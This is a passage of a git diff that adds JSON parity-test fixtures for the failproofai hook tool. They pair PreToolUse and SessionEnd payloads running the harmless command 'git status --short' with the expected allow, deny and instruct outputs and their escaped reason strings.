"/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4ad4864b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d6f36db8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..229f1d7d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9bd615ec --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e5daa482 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..62874a00 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6ad13d3d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a483d71f --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9d725ee2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..4994d426 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..10518c92 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..657c4408 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..d49804ba --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..20977eb4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..15a81edd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a4cdb7be --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4a1b8ae9 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ec817c5e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git 